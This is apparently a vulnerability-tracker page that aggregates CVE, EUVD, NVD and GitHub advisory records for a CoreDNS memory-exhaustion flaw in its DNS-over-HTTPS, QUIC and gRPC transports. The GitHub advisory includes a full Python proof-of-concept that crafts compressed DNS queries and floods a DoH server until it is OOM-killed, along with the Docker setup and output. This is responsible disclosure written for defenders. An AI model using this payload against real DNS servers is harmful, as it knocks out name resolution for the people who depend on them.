CoreDNS: Unauthenticated memory exhaustion in custom transports

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC request paths in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack on attacker-controlled DNS section counts before dns.DefaultMsgAcceptFunc validates the fixed header. An unauthenticated client can use DNS name compression and excessive section counts to amplify allocation before the plugin chain, so plugin-level rate limiting cannot prevent concurrent requests from exhausting memory and terminating CoreDNS. The ordinary UDP and TCP listeners are not affected because they validate the header first. This issue is fixed in version 1.14.7.

Source published

16 Sep 2026 18:37:55 UTC

Source modified

18 Sep 2026 18:19:57 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC request paths in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack on attacker-controlled DNS section counts before dns.DefaultMsgAcceptFunc validates the fixed header. An unauthenticated client can use DNS name compression and excessive section counts to amplify allocation before the plugin chain, so plugin-level rate limiting cannot prevent concurrent requests from exhausting memory and terminating CoreDNS. The ordinary UDP and TCP listeners are not affected because they validate the header first. This issue is fixed in version 1.14.7.

Source published

Sep 16, 2026, 6:37:55 PM (timezone not stated)

Source modified

Sep 18, 2026, 6:19:57 PM (timezone not stated)

Saved here

11 Nov 2026 16:11:00 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC request paths in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack on attacker-controlled DNS section counts before dns.DefaultMsgAcceptFunc validates the fixed header. An unauthenticated client can use DNS name compression and excessive section counts to amplify allocation before the plugin chain, so plugin-level rate limiting cannot prevent concurrent requests from exhausting memory and terminating CoreDNS. The ordinary UDP and TCP listeners are not affected because they validate the header first. This issue is fixed in version 1.14.7.

Source published

16 Sep 2026 19:17:44 UTC

Source modified

24 Sep 2026 21:16:28 UTC

Saved here

25 Oct 2026 16:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary CoreDNS parses attacker-controlled DNS section counts before validating them on DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC listeners. An unauthenticated client can use DNS name compression to make one 65,533-byte request allocate more than 10 MiB while it is unpacked. Concurrent requests can exhaust memory and terminate CoreDNS. ### Details The affected request paths call `dns.Msg.Unpack` directly: - [DoH POST and GET decoding](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/plugin/pkg/doh/doh.go#L134-L155). DoH3 uses the same decoder. - [DoQ stream handling](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_quic.go#L212-L219). - [DNS-over-gRPC query handling](https://github.com/coredns/coredns/blob/18a58b9e898ccd95c3f8ee72a37b95b3d1e3e928/core/dnsserver/server_grpc.go#L176-L184). This differs from the [miekg/dns](https://github.com/miekg/dns) UDP and TCP server. Its [`serveDNS`](https://github.com/miekg/dns/blob/v1.1.72/server.go#L628-L643) path decodes the fixed 12-byte header and invokes [`DefaultMsgAcceptFunc`](https://github.com/miekg/dns/blob/v1.1.72/acceptfunc.go#L33-L57) before unpacking the DNS sections. The default policy rejects requests unless `QDCOUNT` is exactly one and also limits the other section counts. CoreDNS's custom transports bypass this early validation. Parsing happens before the plugin chain. Plugin-level rate limiting or request handling cannot prevent the allocation. The fix is to apply `dns.DefaultMsgAcceptFunc` to the fixed header before calling `Msg.Unpack` in each custom request transport. Response decoding must remain separate because the request policy intentionally rejects response headers. ### PoC The PoC runs against the DoH server. Run the following from a clean checkout of CoreDNS v1.14.6. Docker must support container memory limits. The example uses the test certificate already present in the repository and publishes the test service only on loopback. Save this as `Corefile.cd01`: ```text https://.:8053 { tls /cert.pem /key.pem whoami } ``` Save this standard-library client as `poc-cd01.py`: ```python #!/usr/bin/env python3 import argparse import concurrent.futures from collections import Counter import http.client import ssl import struct def normal_query(): header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0) question = b"\x07example\x03org\x00" + struct.pack("!HH", 1, 1) return header + question, 1 def attack_query(): message = bytearray(65535) offset = 12 name_offset = offset for size in (63, 63, 63, 61): message[offset] = size offset += 1 message[offset : offset + size] = b"\x01" * size offset += size message[offset] = 0 offset += 1 struct.pack_into("!HH", message, offset, 1, 1) offset += 4 questions = 1 while offset + 6 <= len(message): struct.pack_into("!HHH", message, offset, 0xC000 | name_offset, 1, 1) offset += 6 questions += 1 struct.pack_into( "!HHHHHH", message, 0, 0x1234, 0x0100, questions, 0, 0, 0 ) return bytes(message[:offset]), questions def send(payload): context = ssl._create_unverified_context() connection = http.client.HTTPSConnection( "127.0.0.1", 18053, timeout=3, context=context ) try: connection.request( "POST", "/dns-query", body=payload, headers={"Content-Type": "application/dns-message"}, ) response = connection.getresponse() response.read() return f"http-{response.status}" except Exception: return "error" finally: connection.close() def main(): parser = argparse.ArgumentParser() parser.add_argument("--normal", action="store_true") parser.add_argument("--workers", type=int, default=1) args = parser.parse_args() payload, questions = normal_query() if args.normal else attack_query() print( f"payload={len(payload)} questions={questions} workers={args.workers}" ) with concurrent.futures.ThreadPoolExecutor(args.workers) as pool: results = pool.map(send, [payload] * args.workers) print(Counter(results)) if __name__ == "__main__": main() ``` Build the Linux binary and container image: ```sh GOCACHE=/tmp/coredns-gocache \ GOOS=linux GOARCH="$(go env GOARCH)" CGO_ENABLED=0 \ go build -tags=grpcnotrace -o coredns . docker build --tag coredns-cd01:vulnerable . ``` Start CoreDNS with a 64 MiB memory and swap limit: ```sh docker run --detach --name coredns-cd01 \ --memory 64m --memory-swap 64m \ --publish 127.0.0.1:18053:8053/tcp \ --volume "$PWD/Corefile.cd01:/Corefile:ro" \ --volume "$PWD/plugin/tls/test_cert.pem:/cert.pem:ro" \ --volume "$PWD/plugin/tls/test_key.pem:/key.pem:ro" \ coredns-cd01:vulnerable -conf /Corefile ``` Confirm that the listener works and that one malicious request is accepted: ```console $ python3 poc-cd01.py --normal payload=29 questions=1 workers=1 Counter({'http-200': 1}) $ python3 poc-cd01.py payload=65533 questions=10878 workers=1 Counter({'http-200': 1}) ``` Send 32 malicious requests concurrently and inspect the container: ```console $ python3 poc-cd01.py --workers 32 payload=65533 questions=10878 workers=32 Counter({'error': 32}) $ docker inspect --format '{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}' coredns-cd01 exited OOMKilled=true ExitCode=137 ``` `OOMKilled=true` confirms that the container was terminated by memory exhaustion rather than a CoreDNS configuration error. ### Impact This is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking. In the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service. CoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.

Source published

17 Sep 2026 20:32:27 UTC

Source modified

28 Sep 2026 17:10:57 UTC

Saved here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

CoreDNS: Unauthenticated memory exhaustion in custom transports in github.com/coredns/coredns

Source published

28 Sep 2026 16:43:40 UTC

Source modified

28 Sep 2026 17:00:17 UTC

Saved here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.